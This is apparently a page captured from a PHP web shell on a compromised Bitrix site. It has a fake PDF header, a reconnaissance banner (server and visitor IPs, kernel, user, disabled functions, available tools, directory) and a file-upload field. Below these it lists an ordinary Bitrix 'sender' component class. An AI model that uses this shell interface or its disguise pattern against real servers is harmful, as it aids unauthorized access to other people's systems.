%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.16.81.14 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/internals/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage sender * @copyright 2001-2012 Bitrix */ namespace Bitrix\Sender\Internals; use Bitrix\Main\Access\Event\EventDictionary; use Bitrix\Main\Access\Exception\AccessException; use Bitrix\Main\Error; use Bitrix\Main\ErrorCollection; use Bitrix\Main\Loader; use Bitrix\Main\LoaderException; use Bitrix\Main\Localization\Loc; use Bitrix\Sender\Access\AccessController; use Bitrix\Sender\Access\Exception\UnknownActionException; use Bitrix\Sender\Access\Exception\WrongPermissionException; use Bitrix\Sender\Security; use CBitrixComponent; Loc::loadMessages(__FILE__); /** * Common component for sender component classes * @package Bitrix\Sender\Internals */ abstract class CommonSenderComponent extends CBitrixComponent { /** @var ErrorCollection $errors */ protected $errors; /** * @var int $userId */ protected $userId; /** * @var AccessController $accessController */ protected $accessController; protected function checkRequiredParams() { try { if (!Loader::includeModule('sender')) { $this->errors->setError(new Error(Loc::getMessage('SENDER_MODULE_NOT_INSTALLED'))); return false; } } catch (LoaderException $e) { return false; } return true; } /** * Initialization of component parameters. * Validating access to the modify action by Permission Entity Code parameter * */ protected function initParams() { $this->arParams['PATH_TO_LIST'] = isset($this->arParams['PATH_TO_LIST']) ? $this->arParams['PATH_TO_LIST'] : ''; $this->arParams['PATH_TO_USER_PROFILE'] = isset($this->arParams['PATH_TO_USER_PROFILE']) ? $this->arParams['PATH_TO_USER_PROFILE'] : ''; $this->arParams['NAME_TEMPLATE'] = empty($this->arParams['NAME_TEMPLATE']) ? \CAllSite::GetNameFormat(false) : str_replace(array("#NOBR#","#/NOBR#"), array("",""), $this->arParams["NAME_TEMPLATE"]); $this->arParams['RENDER_FILTER_INTO_VIEW'] = isset($this->arParams['RENDER_FILTER_INTO_VIEW']) ? $this->arParams['RENDER_FILTER_INTO_VIEW'] : ''; $this->arParams['RENDER_FILTER_INTO_VIEW_SORT'] = isset($this->arParams['RENDER_FILTER_INTO_VIEW_SORT']) ? $this->arParams['RENDER_FILTER_INTO_VIEW_SORT'] : 10; if(isset($this->arParams['GRID_ID'])) { $this->arParams['FILTER_ID'] = isset($this->arParams['FILTER_ID']) ? $this->arParams['FILTER_ID'] : $this->arParams['GRID_ID'] . '_FILTER'; } $this->arParams['SET_TITLE'] = isset($this->arParams['SET_TITLE']) ? $this->arParams['SET_TITLE'] == 'Y' : true; $this->canEdit(); } protected function canEdit() { if(is_null(static::getEditAction())) { return; } try { $this->arParams['CAN_EDIT'] = isset($this->arParams['CAN_EDIT']) ? $this->arParams['CAN_EDIT'] : $this->getAccessController()->check(static::getEditAction()); } catch (UnknownActionException $e) { $this->errors->setError(new Error(Loc::getMessage('SENDER_WRONG_PERMISSION'))); exit; } } protected function printErrors() { foreach ($this->errors as $error) { ShowError($error->getMessage()); } } protected function checkComponentExecution() { if (!$this->checkRequiredParams()) { $this->printErrors(); return false; } if (!static::prepareResult()) { $this->printErrors(); return false; } return true; } protected function getAccessController(): AccessController { if (!$this->accessController) { $this->accessController = new AccessController($this->userId); } return $this->accessController; } public function executeComponent() { $this->errors = new ErrorCollection(); $this->userId = Security\User::current()->getId(); Security\Access::registerEvent(EventDictionary::EVENT_ON_AFTER_CHECK); try { $canAccess = $this->getAccessController()->check(static::getViewAction()); if(!$this->arParams['CAN_VIEW'] && !$canAccess) { throw new WrongPermissionException(); } } catch (AccessException $e) { $this->errors->setError(new Error(Loc::getMessage('SENDER_WRONG_PERMISSION'))); $this->printErrors(); exit; } static::initParams(); if (!$this->checkRequiredParams()) { $this->printErrors(); exit; } } /** * @param string $template * * @return array|void */ protected function prepareResultAndTemplate($template = "") { if (!static::prepareResult()) { $this->printErrors(); exit(); } $this->printErrors(); if(!is_null($template)) { $this->includeComponentTemplate($template); return; } } abstract protected function prepareResult(); abstract public function getEditAction(); abstract public function getViewAction(); }